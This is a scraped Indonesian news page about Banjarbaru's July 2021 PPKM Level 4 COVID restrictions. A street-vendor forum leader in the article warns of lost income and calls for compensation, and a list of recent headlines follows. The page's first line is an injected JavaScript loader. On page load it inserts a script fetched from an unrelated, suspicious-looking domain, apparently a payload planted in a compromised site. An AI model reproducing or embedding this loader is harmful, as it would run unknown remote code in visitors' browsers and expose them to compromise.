(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Banjarbaru PPKM Level 4, Ketua PKL Forkamu Berharap Ada Solusi dan Kompensasi bagi Pedagang


KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru segera menerapkan PPKM Level 4 tanggal 26 Juli hingga 2 Agustus mendatang. Sejumlah aturan ketat yang tercantum dalam instruksi Menteri Dalam Negeri Nomor 22 Tahun 2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat Level 4 Covid-19, akan membatasi ruang gerak masyarakat. Lalu, bagaimana tanggapan warga Banjarbaru?

Pada aturan Inmendagri tersebut, di poin 8 menyebutkan bahwa pelaksanaan kegiatan makan atau minum di tempat umum (warung makan, rumah makan, kafe, pedagang kaki lima, lapak jajanan) baik yang berada pada lokasi tersendiri maupun yang berlokasi pada pusat perbelanjaan atau mall hanya menerima delivery atau take away dan tidak menerima makan di tempat.

Aturan ini berdampak sangat besar terhadap para pegiat usaha jajanan pinggir jalan, khususnya di tempat-tempat berkumpul seperti taman kota.

Baca juga: LOWONGAN NAKES. Sejumlah Nakes Terpapar Covid-19, RSD Idaman Cari 15 Tenaga Medis Baru!

 

 

Menanggapi hal ini Ketua PKL Forkamu (Forum Pedagang Kaki Lima Lapangan Murjani), Dian Wahyudi mengatakan masih menunggu surat resmi dari dinas terkait.

“Kebijakan PPKM Level 4 secara tertulis dari suratnya belum kami terima, jadi belum bisa diceritakan dampaknya karena belum dirasakan,” ujarnya kepada Kanalkalimantan.com saat dihubungi Jumat (23/7/2021) malam.

“Kalau yang dari kami baca dan dengar di media, nggak boleh makan di tempat kan? Tapi untuk jam terkait pembatasannya belum tahu lagi,” kata Dian.

Dian mengeluhkan terkait regulasi PPKM yang seakan tidak menguntungkan sama sekali bagi para pedagang kaki lima. “Nggak ada yang enak dengan PPKM ini, pasti dampak hilangnya pendapatan. Apalagi untuk pejuang nafkah harian seperti kami,” ucapnya.

“Jangan sampai ada peraturan dan lain-lain, tapi tidak ada solusi dan kompensasi!” Tegasnya (Kanalkalimantan.com/nurul)

Reporter: nurul
Editor: cell


Risa

Recent Posts

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

2 jam ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

3 jam ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

15 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

15 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

18 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

24 jam ago

This website uses cookies.